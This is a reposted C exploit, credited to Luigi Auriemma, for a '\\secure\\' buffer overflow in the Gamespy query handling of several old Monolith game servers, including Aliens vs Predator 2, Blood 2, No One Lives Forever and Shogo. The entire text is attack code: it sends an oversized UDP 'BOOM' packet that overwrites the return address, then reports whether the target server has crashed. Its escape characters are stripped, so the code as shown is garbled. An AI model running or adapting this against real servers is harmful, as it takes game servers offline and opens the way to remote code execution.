文章作者：
aluigi@altervista.orgn复制内容到剪贴板
代码:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <net/inet.h>
#include <netdb.h>
#endif
#define VER "0.1.1"
#define PORT 27888
#define TIMEOUT 3
#define BUFFSZ 2048
#define PCK "\secure\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"x55x44x33x22"
/* return address, each byte must be >= 0x20 and <= 0x7f */
void gs_info_udp(u_long ip, u_short port);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
int sd;
u_short port = PORT;
struct sockaddr_in peer;
setbuf(stdout, NULL);
fputs("n"
"\secure\ buffer overflow in some old Monolith games "VER"n"
"by Luigi Auriemman"
"e-mail: [email]aluigi@altervista.orgn[/email]"
"web: [url]http://aluigi.altervista.orgn[/url]"
"n", stdout);
if(argc < 2) {
printf("n"
"Usage: %s <server> [port(%d)]n"
"n"
"Vulnerable games Latest versionsn"
" Alien versus predator 2 1.0.9.6n"
" Blood 2 2.1n"
" No one lives forever 1.004n"
" Shogo 2.2n"
"n"
"Note: the return address will be overwritten by 0x%08lxn"
" (only the bytes from 0x20 to 0x7f are allowed)n"
"n", argv[0], port, *(u_long *)(PCK + 72));
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target is %s:%hunn",
inet_ntoa(peer.sin_addr), port);
fputs("- Request informations:n", stdout);
gs_info_udp(peer.sin_addr.s_addr, port);
fputs("- Send BOOM packet:n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
close(sd);
fputs("- Check server:n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(sendto(sd, "\status\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("nServer IS vulnerable!!!nn", stdout);
} else {
fputs("nServer doesn't seem vulnerablenn", stdout);
}
close(sd);
return(0);
}
void gs_info_udp(u_long ip, u_short port) {
struct sockaddr_in peer;
int sd,
len,
nt = 1;
u_char buff[2048],
*p1,
*p2;
peer.sin_addr.s_addr = ip;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(sendto(sd, "\status\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("nError: socket timeout, no replies received. Probably the server doesn't support the Gamespy query protocol or the port is wrongnn", stdout);
close(sd);
exit(1);
}
len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;
p1 = buff;
while((p2 = strchr(p1, '\'))) {
*p2 = 0x00;
if(!nt) {
if(!*p1) break;
printf("%30s: ", p1);
nt++;
} else {
printf("%sn", p1);
nt = 0;
}
p1 = p2 + 1;
}
printf("%snn", p1);
close(sd);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("nError: Unable to resolv hostname (%s)n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("nError");
exit(1);
}
#endif 
